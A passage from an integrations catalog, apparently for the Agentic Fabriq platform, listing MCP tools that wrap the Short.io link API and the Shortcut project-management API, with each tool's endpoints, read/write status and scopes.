Scopes: api. shortio_post_links (write) — This method creates a new link. If parameter "path" is omitted, it generates path by algorithm, chosen in domain settings. Notes: 1. If URL with a given path already exists and originalURL of the URL in database is equal to originalURL argument, it returns information about existing URL 2. If URL with a given path already exists and originalURL is different from originalURL in database, it returns error with a status `409` 3. If URL with a given originalURL exists, and no path is given, it returns information about existing URL and does not create anything 4. If URL with a given originalURL exists, and custom path is given, it creates a new short URL Returns 404 if the domain does not exist in your organization. **Rate limit**: 50/s via POST /links POST /api/v1/shortio/links. Scopes: api. shortio_post_links_archive (write) — Archive link via POST /links/archive POST /api/v1/shortio/links/archive. Scopes: api. shortio_post_links_archive_bulk (write) — Archive links in bulk via POST /links/archive_bulk POST /api/v1/shortio/links/archive_bulk. Scopes: api. shortio_post_links_bulk (write) — Please use this method if you need to create big packs of links. It accepts up to 1000 links in one API call. It works almost the same as single link creation endpoint, but accepts an array of URLs and returns an array of responses. Returns list of Link objects. If any URL is failed to insert, it returns error object instead as array element. Method is not transactional – it can insert some links from the list and return an error for others. Returns 404 if the domain does not exist in your organization. **Rate limit**: 5 queries in 10 seconds via POST /links/bulk POST /api/v1/shortio/links/bulk. Scopes: api. shortio_post_links_bundle (write) — Creates a new link bundle with customizable template, social media links, and branding via POST /links/bundle POST /api/v1/shortio/links/bundle. Scopes: api. shortio_post_links_bundle_by_id_links (write) — Adds a short link to a bundle. If the link doesn't exist, it will be created. via POST /links/bundle/{id}/links POST /api/v1/shortio/links/bundle/{id}/links. Scopes: api. shortio_post_links_by_linkid (write) — Update original url, title or path for existing URL by id **Rate limit**: 20/s via POST /links/{linkId} POST /api/v1/shortio/links/{linkId}. Scopes: api. shortio_post_links_deeplinks_debug (write) — NOT CALLABLE ON THIS CONNECTION -- refused by name; see the error for the reason. Fetch and inspect deep link configuration for a URL (public, hCaptcha-protected) via POST /links/deeplinks/debug POST /api/v1/shortio/links/deeplinks/debug. Scopes: api. shortio_post_links_examples (write) — Creates a set of demo/example links to showcase various features of the short link service. Example links include: - A/B testing with split URLs - Mobile targeting (different URLs for Android/iPhone) - Expiring links with time limits - File download links - Password-protected links Returns 404 if the domain does not exist in your organization. **Rate limit**: 5/10s via POST /links/examples POST /api/v1/shortio/links/examples. Scopes: api. shortio_post_links_folders (write) — Create a new folder via POST /links/folders POST /api/v1/shortio/links/folders. Scopes: api. shortio_post_links_opengraph_debug (write) — NOT CALLABLE ON THIS CONNECTION -- refused by name; see the error for the reason. Fetch and inspect OpenGraph tags for a URL (public, hCaptcha-protected) via POST /links/opengraph/debug POST /api/v1/shortio/links/opengraph/debug. Scopes: api. shortio_post_links_permissions_by_domainid_by_linkid_by_userid (write) — Add link permission via POST /links/permissions/{domainId}/{linkId}/{userId} POST /api/v1/shortio/links/permissions/{domainId}/{linkId}/{userId}. Scopes: api. shortio_post_links_post (write) — Creates a content page rendered at a short link via POST /links/post POST /api/v1/shortio/links/post. Scopes: api. shortio_post_links_public (write) — NOT CALLABLE ON THIS CONNECTION -- refused by name; see the error for the reason. This method creates a new link. Only this method should be used in client-side applications If parameter "path" is omitted, it generates path by algorithm, chosen in domain settings. You can use it with public API key in your frontend applications (client-side javascript, Android & iPhone apps) **Rate limit**: 50/s via POST /links/public POST /api/v1/shortio/links/public. Scopes: api. shortio_post_links_qr_by_linkidstring (write) — Generate QR code for the link via POST /links/qr/{linkIdString} POST /api/v1/shortio/links/qr/{linkIdString}. Scopes: api. shortio_post_links_qr_by_linkidstring_ai (write) — Generate an AI QR code for the link via POST /links/qr/{linkIdString}/ai POST /api/v1/shortio/links/qr/{linkIdString}/ai. Scopes: api. shortio_post_links_qr_by_linkidstring_hosted (write) — Generate a hosted QR code for the link via POST /links/qr/{linkIdString}/hosted POST /api/v1/shortio/links/qr/{linkIdString}/hosted. Scopes: api. shortio_post_links_unarchive (write) — Unarchive link via POST /links/unarchive POST /api/v1/shortio/links/unarchive. Scopes: api. shortio_post_links_unarchive_bulk (write) — Unarchive links in bulk via POST /links/unarchive_bulk POST /api/v1/shortio/links/unarchive_bulk. Scopes: api. shortio_post_tags_bulk (write) — Append a single tag to the links in bulk via POST /tags/bulk POST /api/v1/shortio/tags/bulk. Scopes: api. shortio_put_links_bundle_by_id (write) — Updates bundle details, social media links, and branding via PUT /links/bundle/{id} PUT /api/v1/shortio/links/bundle/{id}. Scopes: api. shortio_put_links_opengraph_by_domainid_by_linkid (write) — Set link opengraph properties via PUT /links/opengraph/{domainId}/{linkId} PUT /api/v1/shortio/links/opengraph/{domainId}/{linkId}. Scopes: api. shortio_put_links_post_by_id (write) — Update post via PUT /links/post/{id} PUT /api/v1/shortio/links/post/{id}. Scopes: api. ================================================================================ ## Shortcut URL: https://www.agenticfabriq.com/integrations/shortcut Section: Integrated Tools Shortcut — 136 MCP tools Provider key: shortcut. Scopes: read, write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. shortcut_delete_api_v3_categories_by_category_public_id (write, destructive) — Delete Category can be used to delete any Category. via DELETE /api/v3/categories/{category-public-id} DELETE /api/v1/shortcut/api/v3/categories/{category_public_id}. Scopes: write. shortcut_delete_api_v3_custom_fields_by_custom_field_public_id (write, destructive) — Delete Custom Field via DELETE /api/v3/custom-fields/{custom-field-public-id} DELETE /api/v1/shortcut/api/v3/custom-fields/{custom_field_public_id}. Scopes: write. shortcut_delete_api_v3_documents_by_doc_public_id (write, destructive) — Permanently deletes a Doc and its associated data. Requires admin access to the doc. When a document is deleted, connected clients will be notified via SSE events. via DELETE /api/v3/documents/{doc-public-id} DELETE /api/v1/shortcut/api/v3/documents/{doc_public_id}. Scopes: write. shortcut_delete_api_v3_documents_by_doc_public_id_epics_by_epic_public_id (write, destructive) — Remove a relationship between a Document and an Epic. via DELETE /api/v3/documents/{doc-public-id}/epics/{epic-public-id} DELETE /api/v1/shortcut/api/v3/documents/{doc_public_id}/epics/{epic_public_id}. Scopes: write. shortcut_delete_api_v3_entity_templates_by_entity_template_public_id (write, destructive) — Delete Entity Template via DELETE /api/v3/entity-templates/{entity-template-public-id} DELETE /api/v1/shortcut/api/v3/entity-templates/{entity_template_public_id}. Scopes: write. shortcut_delete_api_v3_epics_by_epic_public_id (write, destructive) — Delete Epic can be used to delete the Epic. The only required parameter is Epic ID. via DELETE /api/v3/epics/{epic-public-id} DELETE /api/v1/shortcut/api/v3/epics/{epic_public_id}. Scopes: write. shortcut_delete_api_v3_epics_by_epic_public_id_comments_by_comment_public_id (write, destructive) — This endpoint allows you to delete a Comment from an Epic. via DELETE /api/v3/epics/{epic-public-id}/comments/{comment-public-id} DELETE /api/v1/shortcut/api/v3/epics/{epic_public_id}/comments/{comment_public_id}. Scopes: write. shortcut_delete_api_v3_files_by_file_public_id (write, destructive) — Delete File deletes a previously uploaded file. via DELETE /api/v3/files/{file-public-id} DELETE /api/v1/shortcut/api/v3/files/{file_public_id}. Scopes: write. shortcut_delete_api_v3_integrations_webhook_by_integration_public_id (write, destructive) — Delete Generic Integration via DELETE /api/v3/integrations/webhook/{integration-public-id} DELETE /api/v1/shortcut/api/v3/integrations/webhook/{integration_public_id}. Scopes: write. shortcut_delete_api_v3_iterations_by_iteration_public_id (write, destructive) — Delete Iteration via DELETE /api/v3/iterations/{iteration-public-id} DELETE /api/v1/shortcut/api/v3/iterations/{iteration_public_id}. Scopes: write. shortcut_delete_api_v3_labels_by_label_public_id (write, destructive) — Delete Label can be used to delete any Label. via DELETE /api/v3/labels/{label-public-id} DELETE /api/v1/shortcut/api/v3/labels/{label_public_id}. Scopes: write. shortcut_delete_api_v3_linked_files_by_linked_file_public_id (write, destructive) — Delete Linked File can be used to delete any previously attached Linked-File. via DELETE /api/v3/linked-files/{linked-file-public-id} DELETE /api/v1/shortcut/api/v3/linked-files/{linked_file_public_id}. Scopes: write. shortcut_delete_api_v3_objectives_by_objective_public_id (write, destructive) — Delete Objective can be used to delete any Objective. via DELETE /api/v3/objectives/{objective-public-id} DELETE /api/v1/shortcut/api/v3/objectives/{objective_public_id}. Scopes: write. shortcut_delete_api_v3_projects_by_project_public_id (write, destructive) — Delete Project can be used to delete a Project. Projects can only be deleted if all associated Stories are moved or deleted. In the case that the Project cannot be deleted, you will receive a 422 response. via DELETE /api/v3/projects/{project-public-id} DELETE /api/v1/shortcut/api/v3/projects/{project_public_id}. Scopes: write. shortcut_delete_api_v3_stories_bulk (write, destructive) — Delete Multiple Stories allows you to delete multiple archived stories at once. via DELETE /api/v3/stories/bulk DELETE /api/v1/shortcut/api/v3/stories/bulk. Scopes: write. shortcut_delete_api_v3_stories_by_story_public_id (write, destructive) — Delete Story can be used to delete any Story. via DELETE /api/v3/stories/{story-public-id} DELETE /api/v1/shortcut/api/v3/stories/{story_public_id}. Scopes: write. shortcut_delete_api_v3_stories_by_story_public_id_comments_by_comment_public_id (write, destructive) — Delete a Comment from any story. via DELETE /api/v3/stories/{story-public-id}/comments/{comment-public-id} DELETE /api/v1/shortcut/api/v3/stories/{story_public_id}/comments/{comment_public_id}. Scopes: write. shortcut_delete_api_v3_stories_by_story_public_id_comments_by_comment_public_id_reactions (write, destructive) — Delete a reaction from any story comment. via DELETE /api/v3/stories/{story-public-id}/comments/{comment-public-id}/reactions DELETE /api/v1/shortcut/api/v3/stories/{story_public_id}/comments/{comment_public_id}/reactions. Scopes: write. shortcut_delete_api_v3_stories_by_story_public_id_tasks_by_task_public_id (write, destructive) — Delete Task can be used to delete any previously created Task on a Story. via DELETE /api/v3/stories/{story-public-id}/tasks/{task-public-id} DELETE /api/v1/shortcut/api/v3/stories/{story_public_id}/tasks/{task_public_id}. Scopes: write. shortcut_delete_api_v3_story_links_by_story_link_public_id (write, destructive) — Removes the relationship between the stories for the given Story Link. via DELETE /api/v3/story-links/{story-link-public-id} DELETE /api/v1/shortcut/api/v3/story-links/{story_link_public_id}. Scopes: write. shortcut_get_api_v3_categories (read) — List Categories returns a list of all Categories and their attributes. via GET /api/v3/categories GET /api/v1/shortcut/api/v3/categories. Scopes: read. shortcut_get_api_v3_categories_by_category_public_id (read) — Get Category returns information about the selected Category. via GET /api/v3/categories/{category-public-id} GET /api/v1/shortcut/api/v3/categories/{category_public_id}. Scopes: read. shortcut_get_api_v3_categories_by_category_public_id_milestones (read) — List Category Milestones returns a list of all Milestones with the Category. via GET /api/v3/categories/{category-public-id}/milestones GET /api/v1/shortcut/api/v3/categories/{category_public_id}/milestones. Scopes: read. shortcut_get_api_v3_categories_by_category_public_id_objectives (read) — Returns a list of all Objectives with the Category. via GET /api/v3/categories/{category-public-id}/objectives GET /api/v1/shortcut/api/v3/categories/{category_public_id}/objectives. Scopes: read. shortcut_get_api_v3_custom_fields (read) — List Custom Fields via GET /api/v3/custom-fields GET /api/v1/shortcut/api/v3/custom-fields. Scopes: read. shortcut_get_api_v3_custom_fields_by_custom_field_public_id (read) — Get Custom Field via GET /api/v3/custom-fields/{custom-field-public-id} GET /api/v1/shortcut/api/v3/custom-fields/{custom_field_public_id}. Scopes: read. shortcut_get_api_v3_documents (read) — List Docs returns a list of Doc that the current user can read. via GET /api/v3/documents GET /api/v1/shortcut/api/v3/documents. Scopes: read. shortcut_get_api_v3_documents_by_doc_public_id (read) — Get a Doc by its public ID with content. Use content_format=html query parameter to include HTML content. via GET /api/v3/documents/{doc-public-id} GET /api/v1/shortcut/api/v3/documents/{doc_public_id}. Scopes: read. shortcut_get_api_v3_documents_by_doc_public_id_epics (read) — Get a list of all Epics related to this Document. via GET /api/v3/documents/{doc-public-id}/epics GET /api/v1/shortcut/api/v3/documents/{doc_public_id}/epics. Scopes: read. shortcut_get_api_v3_entity_templates (read) — List all the entity templates for the Workspace. via GET /api/v3/entity-templates GET /api/v1/shortcut/api/v3/entity-templates. Scopes: read. shortcut_get_api_v3_entity_templates_by_entity_template_public_id (read) — Get Entity Template returns information about a given entity template. via GET /api/v3/entity-templates/{entity-template-public-id} GET /api/v1/shortcut/api/v3/entity-templates/{entity_template_public_id}. Scopes: read. shortcut_get_api_v3_epic_workflow (read) — Returns the Epic Workflow for the Workspace. via GET /api/v3/epic-workflow GET /api/v1/shortcut/api/v3/epic-workflow. Scopes: read. shortcut_get_api_v3_epics (read) — List Epics returns a list of all Epics and their attributes. via GET /api/v3/epics GET /api/v1/shortcut/api/v3/epics. Scopes: read. shortcut_get_api_v3_epics_by_epic_public_id (read) — Get Epic returns information about the selected Epic. via GET /api/v3/epics/{epic-public-id} GET /api/v1/shortcut/api/v3/epics/{epic_public_id}. Scopes: read. shortcut_get_api_v3_epics_by_epic_public_id_comments (read) — Get a list of all Comments on an Epic. via GET /api/v3/epics/{epic-public-id}/comments GET /api/v1/shortcut/api/v3/epics/{epic_public_id}/comments. Scopes: read. shortcut_get_api_v3_epics_by_epic_public_id_comments_by_comment_public_id (read) — This endpoint returns information about the selected Epic Comment. via GET /api/v3/epics/{epic-public-id}/comments/{comment-public-id} GET /api/v1/shortcut/api/v3/epics/{epic_public_id}/comments/{comment_public_id}. Scopes: read. shortcut_get_api_v3_epics_by_epic_public_id_documents (read) — Get a list of all Documents related to this Epic. via GET /api/v3/epics/{epic-public-id}/documents GET /api/v1/shortcut/api/v3/epics/{epic_public_id}/documents. Scopes: read. shortcut_get_api_v3_epics_by_epic_public_id_health (read) — Get the current health for the specified Epic. via GET /api/v3/epics/{epic-public-id}/health GET /api/v1/shortcut/api/v3/epics/{epic_public_id}/health. Scopes: read. shortcut_get_api_v3_epics_by_epic_public_id_health_history (read) — List the history of health statuses for the specified Epic, most recent first. via GET /api/v3/epics/{epic-public-id}/health-history GET /api/v1/shortcut/api/v3/epics/{epic_public_id}/health-history. Scopes: read. shortcut_get_api_v3_epics_by_epic_public_id_stories (read) — Get a list of all Stories in an Epic. via GET /api/v3/epics/{epic-public-id}/stories GET /api/v1/shortcut/api/v3/epics/{epic_public_id}/stories. Scopes: read. shortcut_get_api_v3_epics_paginated (read) — List Epics with pagination returns a paginated list of Epics and their attributes. via GET /api/v3/epics/paginated GET /api/v1/shortcut/api/v3/epics/paginated. Scopes: read. shortcut_get_api_v3_external_link_stories (read) — Get Stories which have a given External Link associated with them. via GET /api/v3/external-link/stories GET /api/v1/shortcut/api/v3/external-link/stories. Scopes: read. shortcut_get_api_v3_files (read) — List Files returns a list of all UploadedFiles in the workspace. via GET /api/v3/files GET /api/v1/shortcut/api/v3/files. Scopes: read. shortcut_get_api_v3_files_by_file_public_id (read) — Get File returns information about the selected UploadedFile. via GET /api/v3/files/{file-public-id} GET /api/v1/shortcut/api/v3/files/{file_public_id}. Scopes: read. shortcut_get_api_v3_groups (read) — A group in our API maps to a "Team" within the Shortcut Product. A Team is a collection of Users that can be associated to Stories, Epics, and Iterations within Shortcut. via GET /api/v3/groups GET /api/v1/shortcut/api/v3/groups. Scopes: read. shortcut_get_api_v3_groups_by_group_public_id (read) — Get Group via GET /api/v3/groups/{group-public-id} GET /api/v1/shortcut/api/v3/groups/{group_public_id}. Scopes: read. shortcut_get_api_v3_groups_by_group_public_id_stories (read) — List the Stories assigned to the Group. (By default, limited to 1,000). via GET /api/v3/groups/{group-public-id}/stories GET /api/v1/shortcut/api/v3/groups/{group_public_id}/stories. Scopes: read. shortcut_get_api_v3_integrations_webhook_by_integration_public_id (read) — Get Generic Integration via GET /api/v3/integrations/webhook/{integration-public-id} GET /api/v1/shortcut/api/v3/integrations/webhook/{integration_public_id}. Scopes: read. shortcut_get_api_v3_iterations (read) — List Iterations via GET /api/v3/iterations GET /api/v1/shortcut/api/v3/iterations. Scopes: read. shortcut_get_api_v3_iterations_by_iteration_public_id (read) — Get Iteration via GET /api/v3/iterations/{iteration-public-id} GET /api/v1/shortcut/api/v3/iterations/{iteration_public_id}. Scopes: read. shortcut_get_api_v3_iterations_by_iteration_public_id_stories (read) — Get a list of all Stories in an Iteration. via GET /api/v3/iterations/{iteration-public-id}/stories GET /api/v1/shortcut/api/v3/iterations/{iteration_public_id}/stories. Scopes: read. shortcut_get_api_v3_key_results_by_key_result_public_id (read) — Get Key Result returns information about a chosen Key Result. via GET /api/v3/key-results/{key-result-public-id} GET /api/v1/shortcut/api/v3/key-results/{key_result_public_id}. Scopes: read. shortcut_get_api_v3_labels (read) — List Labels returns a list of all Labels and their attributes. via GET /api/v3/labels GET /api/v1/shortcut/api/v3/labels. Scopes: read. shortcut_get_api_v3_labels_by_label_public_id (read) — Get Label returns information about the selected Label. via GET /api/v3/labels/{label-public-id} GET /api/v1/shortcut/api/v3/labels/{label_public_id}. Scopes: read. shortcut_get_api_v3_labels_by_label_public_id_epics (read) — List all of the Epics with the Label. via GET /api/v3/labels/{label-public-id}/epics GET /api/v1/shortcut/api/v3/labels/{label_public_id}/epics. Scopes: read. shortcut_get_api_v3_labels_by_label_public_id_stories (read) — List all of the Stories with the Label. via GET /api/v3/labels/{label-public-id}/stories GET /api/v1/shortcut/api/v3/labels/{label_public_id}/stories. Scopes: read. shortcut_get_api_v3_linked_files (read) — List Linked Files returns a list of all Linked-Files and their attributes. via GET /api/v3/linked-files GET /api/v1/shortcut/api/v3/linked-files. Scopes: read. shortcut_get_api_v3_linked_files_by_linked_file_public_id (read) — Get File returns information about the selected Linked File. via GET /api/v3/linked-files/{linked-file-public-id} GET /api/v1/shortcut/api/v3/linked-files/{linked_file_public_id}. Scopes: read. shortcut_get_api_v3_member (read) — Returns information about the authenticated member. via GET /api/v3/member GET /api/v1/shortcut/api/v3/member. Scopes: read. shortcut_get_api_v3_members (read) — Returns information about members of the Workspace. via GET /api/v3/members GET /api/v1/shortcut/api/v3/members. Scopes: read. shortcut_get_api_v3_members_by_member_public_id (read) — Returns information about a Member. via GET /api/v3/members/{member-public-id} GET /api/v1/shortcut/api/v3/members/{member_public_id}. Scopes: read. shortcut_get_api_v3_objectives (read) — List Objectives returns a list of all Objectives and their attributes. via GET /api/v3/objectives GET /api/v1/shortcut/api/v3/objectives. Scopes: read. shortcut_get_api_v3_objectives_by_objective_public_id (read) — Get Objective returns information about a chosen Objective. via GET /api/v3/objectives/{objective-public-id} GET /api/v1/shortcut/api/v3/objectives/{objective_public_id}. Scopes: read. shortcut_get_api_v3_objectives_by_objective_public_id_epics (read) — List all of the Epics within the Objective. via GET /api/v3/objectives/{objective-public-id}/epics GET /api/v1/shortcut/api/v3/objectives/{objective_public_id}/epics. Scopes: read. shortcut_get_api_v3_objectives_by_objective_public_id_health (read) — Get the current health for the specified Objective. via GET /api/v3/objectives/{objective-public-id}/health GET /api/v1/shortcut/api/v3/objectives/{objective_public_id}/health. Scopes: read. shortcut_get_api_v3_objectives_by_objective_public_id_health_history (read) — List the history of health statuses for the specified Objective, most recent first. via GET /api/v3/objectives/{objective-public-id}/health-history GET /api/v1/shortcut/api/v3/objectives/{objective_public_id}/health-history. Scopes: read. shortcut_get_api_v3_projects (read) — List Projects returns a list of all Projects and their attributes. via GET /api/v3/projects GET /api/v1/shortcut/api/v3/projects. Scopes: read. shortcut_get_api_v3_projects_by_project_public_id (read) — Get Project returns information about the selected Project. via GET /api/v3/projects/{project-public-id} GET /api/v1/shortcut/api/v3/projects/{project_public_id}. Scopes: read. shortcut_get_api_v3_projects_by_project_public_id_stories (read) — List Stories returns a list of all Stories in a selected Project and their attributes. via GET /api/v3/projects/{project-public-id}/stories GET /api/v1/shortcut/api/v3/projects/{project_public_id}/stories. Scopes: read. shortcut_get_api_v3_repositories (read) — List Repositories returns a list of all Repositories and their attributes. via GET /api/v3/repositories GET /api/v1/shortcut/api/v3/repositories. Scopes: read. shortcut_get_api_v3_repositories_by_repo_public_id (read) — Get Repository returns information about the selected Repository. via GET /api/v3/repositories/{repo-public-id} GET /api/v1/shortcut/api/v3/repositories/{repo_public_id}. Scopes: read. shortcut_get_api_v3_search (read) — Search lets you search Epics and Stories based on desired parameters. Since ordering of the results can change over time (due to search ranking decay, new Epics and Stories being created), the `next` value from the previous response can be used as the path and query string for the next page to ensure stable ordering. via GET /api/v3/search GET /api/v1/shortcut/api/v3/search. Scopes: read. shortcut_get_api_v3_search_documents (read) — Search Documents lets you search Documents based on desired parameters. Supports structured filters: title, archived, created_by_me, followed_by_me. via GET /api/v3/search/documents GET /api/v1/shortcut/api/v3/search/documents. Scopes: read. shortcut_get_api_v3_search_epics (read) — Search Epics lets you search Epics based on desired parameters. Since ordering of stories can change over time (due to search ranking decay, new Epics being created), the `next` value from the previous response can be used as the path and query string for the next page to ensure stable ordering. via GET /api/v3/search/epics GET /api/v1/shortcut/api/v3/search/epics. Scopes: read. shortcut_get_api_v3_search_iterations (read) — Search Iterations lets you search Iterations based on desired parameters. Since ordering of results can change over time (due to search ranking decay, new Iterations being created), the `next` value from the previous response can be used as the path and query string for the next page to ensure stable ordering. via GET /api/v3/search/iterations GET /api/v1/shortcut/api/v3/search/iterations. Scopes: read. shortcut_get_api_v3_search_milestones (read) — Search Milestones lets you search Milestones based on desired parameters. Since ordering of results can change over time (due to search ranking decay, new Milestones being created), the `next` value from the previous response can be used as the path and query string for the next page to ensure stable ordering. via GET /api/v3/search/milestones GET /api/v1/shortcut/api/v3/search/milestones. Scopes: read. shortcut_get_api_v3_search_objectives (read) — Search Objectives lets you search Objectives based on desired parameters. Since ordering of results can change over time (due to search ranking decay, new Objectives being created), the `next` value from the previous response can be used as the path and query string for the next page to ensure stable ordering. via GET /api/v3/search/objectives GET /api/v1/shortcut/api/v3/search/objectives. Scopes: read. shortcut_get_api_v3_search_stories (read) — Search Stories lets you search Stories based on desired parameters. Since ordering of stories can change over time (due to search ranking decay, new stories being created), the `next` value from the previous response can be used as the path and query string for the next page to ensure stable ordering. via GET /api/v3/search/stories GET /api/v1/shortcut/api/v3/search/stories. Scopes: read. shortcut_get_api_v3_stories_by_story_public_id (read) — Get Story returns information about a chosen Story. via GET /api/v3/stories/{story-public-id} GET /api/v1/shortcut/api/v3/stories/{story_public_id}. Scopes: read. shortcut_get_api_v3_stories_by_story_public_id_comments (read) — Lists Comments associated with a Story via GET /api/v3/stories/{story-public-id}/comments GET /api/v1/shortcut/api/v3/stories/{story_public_id}/comments. Scopes: read. shortcut_get_api_v3_stories_by_story_public_id_comments_by_comment_public_id (read) — Get Comment is used to get Comment information. via GET /api/v3/stories/{story-public-id}/comments/{comment-public-id} GET /api/v1/shortcut/api/v3/stories/{story_public_id}/comments/{comment_public_id}. Scopes: read. shortcut_get_api_v3_stories_by_story_public_id_history (read) — Story History via GET /api/v3/stories/{story-public-id}/history GET /api/v1/shortcut/api/v3/stories/{story_public_id}/history. Scopes: read. shortcut_get_api_v3_stories_by_story_public_id_sub_tasks (read) — List Story Sub tasks returns a list of all Sub-task Stories for a given parent Story. via GET /api/v3/stories/{story-public-id}/sub-tasks GET /api/v1/shortcut/api/v3/stories/{story_public_id}/sub-tasks. Scopes: read. shortcut_get_api_v3_stories_by_story_public_id_tasks_by_task_public_id (read) — Returns information about a chosen Task. via GET /api/v3/stories/{story-public-id}/tasks/{task-public-id} GET /api/v1/shortcut/api/v3/stories/{story_public_id}/tasks/{task_public_id}. Scopes: read. shortcut_get_api_v3_story_links_by_story_link_public_id (read) — Returns the stories and their relationship for the given Story Link. via GET /api/v3/story-links/{story-link-public-id} GET /api/v1/shortcut/api/v3/story-links/{story_link_public_id}. Scopes: read. shortcut_get_api_v3_workflows (read) — Returns a list of all Workflows in the Workspace. via GET /api/v3/workflows GET /api/v1/shortcut/api/v3/workflows. Scopes: read. shortcut_get_api_v3_workflows_by_workflow_public_id (read) — Get Workflow returns information about a chosen Workflow. via GET /api/v3/workflows/{workflow-public-id} GET /api/v1/shortcut/api/v3/workflows/{workflow_public_id}. Scopes: read. shortcut_post_api_v3_categories (write) — Create Category allows you to create a new Category in Shortcut. via POST /api/v3/categories POST /api/v1/shortcut/api/v3/categories. Scopes: write. shortcut_post_api_v3_documents (write) — Creates a new Doc. Supports markdown or HTML input via content_format parameter. WARNING: if content_format is not supplied, `content` input defaults to html. via POST /api/v3/documents POST /api/v1/shortcut/api/v3/documents. Scopes: write. shortcut_post_api_v3_entity_templates (write) — Create a new entity template for the Workspace. via POST /api/v3/entity-templates POST /api/v1/shortcut/api/v3/entity-templates. Scopes: write. shortcut_post_api_v3_epics (write) — Create Epic allows you to create a new Epic in Shortcut. via POST /api/v3/epics POST /api/v1/shortcut/api/v3/epics. Scopes: write. shortcut_post_api_v3_epics_by_epic_public_id_comments (write) — This endpoint allows you to create a threaded Comment on an Epic. via POST /api/v3/epics/{epic-public-id}/comments POST /api/v1/shortcut/api/v3/epics/{epic_public_id}/comments. Scopes: write. shortcut_post_api_v3_epics_by_epic_public_id_comments_by_comment_public_id (write) — This endpoint allows you to create a nested Comment reply to an existing Epic Comment. via POST /api/v3/epics/{epic-public-id}/comments/{comment-public-id} POST /api/v1/shortcut/api/v3/epics/{epic_public_id}/comments/{comment_public_id}. Scopes: write. shortcut_post_api_v3_epics_by_epic_public_id_health (write) — Create a new health status for the specified Epic. via POST /api/v3/epics/{epic-public-id}/health POST /api/v1/shortcut/api/v3/epics/{epic_public_id}/health. Scopes: write. shortcut_post_api_v3_groups (write) — Create Group via POST /api/v3/groups POST /api/v1/shortcut/api/v3/groups. Scopes: write. shortcut_post_api_v3_integrations_webhook (write) — Create Generic Integration via POST /api/v3/integrations/webhook POST /api/v1/shortcut/api/v3/integrations/webhook. Scopes: write. shortcut_post_api_v3_iterations (write) — Create Iteration via POST /api/v3/iterations POST /api/v1/shortcut/api/v3/iterations. Scopes: write. shortcut_post_api_v3_labels (write) — Create Label allows you to create a new Label in Shortcut. via POST /api/v3/labels POST /api/v1/shortcut/api/v3/labels. Scopes: write. shortcut_post_api_v3_linked_files (write) — Create Linked File allows you to create a new Linked File in Shortcut. via POST /api/v3/linked-files POST /api/v1/shortcut/api/v3/linked-files. Scopes: write. shortcut_post_api_v3_objectives (write) — Create Objective allows you to create a new Objective in Shortcut. via POST /api/v3/objectives POST /api/v1/shortcut/api/v3/objectives. Scopes: write. shortcut_post_api_v3_objectives_by_objective_public_id_health (write) — Create a new health status for the specified Objective. via POST /api/v3/objectives/{objective-public-id}/health POST /api/v1/shortcut/api/v3/objectives/{objective_public_id}/health. Scopes: write. shortcut_post_api_v3_projects (write) — Create Project is used to create a new Shortcut Project. via POST /api/v3/projects POST /api/v1/shortcut/api/v3/projects. Scopes: write. shortcut_post_api_v3_stories (write) — Create Story is used to add a new story to your Shortcut Workspace. This endpoint requires that either **workflow_state_id** or **project_id** be provided, but will reject the request if both or neither are specified. The workflow_state_id has been marked as required and is the recommended field to specify because we are in the process of sunsetting Projects in Shortcut. via POST /api/v3/stories POST /api/v1/shortcut/api/v3/stories. Scopes: write. shortcut_post_api_v3_stories_bulk (write) — Create Multiple Stories allows you to create multiple stories in a single request using the same syntax as [Create Story](https://developer.shortcut.com/api/rest/v3#create-story). via POST /api/v3/stories/bulk POST /api/v1/shortcut/api/v3/stories/bulk. Scopes: write. shortcut_post_api_v3_stories_by_story_public_id_comments (write) — Create Comment allows you to create a Comment on any Story. via POST /api/v3/stories/{story-public-id}/comments POST /api/v1/shortcut/api/v3/stories/{story_public_id}/comments. Scopes: write. shortcut_post_api_v3_stories_by_story_public_id_comments_by_comment_public_id_reactions (write) — Create a reaction to a story comment. via POST /api/v3/stories/{story-public-id}/comments/{comment-public-id}/reactions POST /api/v1/shortcut/api/v3/stories/{story_public_id}/comments/{comment_public_id}/reactions. Scopes: write. shortcut_post_api_v3_stories_by_story_public_id_comments_by_comment_public_id_unlink_from_slack (write) — Unlinks a Comment from its linked Slack thread (Comment replies and Slack replies will no longer be synced) via POST /api/v3/stories/{story-public-id}/comments/{comment-public-id}/unlink-from-slack POST /api/v1/shortcut/api/v3/stories/{story_public_id}/comments/{comment_public_id}/unlink-from-slack. Scopes: write. shortcut_post_api_v3_stories_by_story_public_id_tasks (write) — Create Task is used to create a new task in a Story. via POST /api/v3/stories/{story-public-id}/tasks POST /api/v1/shortcut/api/v3/stories/{story_public_id}/tasks. Scopes: write. shortcut_post_api_v3_stories_from_template (write) — Create Story From Template is used to add a new story derived from a template to your Shortcut Workspace. via POST /api/v3/stories/from-template POST /api/v1/shortcut/api/v3/stories/from-template. Scopes: write. shortcut_post_api_v3_stories_search (write) — Search Stories lets you search Stories based on desired parameters. via POST /api/v3/stories/search POST /api/v1/shortcut/api/v3/stories/search. Scopes: write. shortcut_post_api_v3_story_links (write) — Story Links (called Story Relationships in the UI) allow you create semantic relationships between two stories. The parameters read like an active voice grammatical sentence: subject -> verb -> object. The subject story acts on the object Story; the object story is the direct object of the sentence. The subject story "blocks", "duplicates", or "relates to" the object story. Examples: - "story 5 blocks story 6” -- story 6 is now "blocked" until story 5 is moved to a Done workflow state. - "story 2 duplicates story 1” -- Story 2 represents the same body of work as Story 1 (and should probably be archived). - "story 7 relates to story 3” via POST /api/v3/story-links POST /api/v1/shortcut/api/v3/story-links. Scopes: write. shortcut_put_api_v3_categories_by_category_public_id (write) — Update Category allows you to replace a Category name with another name. If you try to name a Category something that already exists, you will receive a 422 response. via PUT /api/v3/categories/{category-public-id} PUT /api/v1/shortcut/api/v3/categories/{category_public_id}. Scopes: write. shortcut_put_api_v3_custom_fields_by_custom_field_public_id (write) — Update Custom Field can be used to update the definition of a Custom Field. The order of items in the 'values' collection is interpreted to be their ascending sort order.To delete an existing enum value, simply omit it from the 'values' collection. New enum values may be created inline by including an object in the 'values' collection having a 'value' entry with no 'id' (eg. {'value': 'myNewValue', 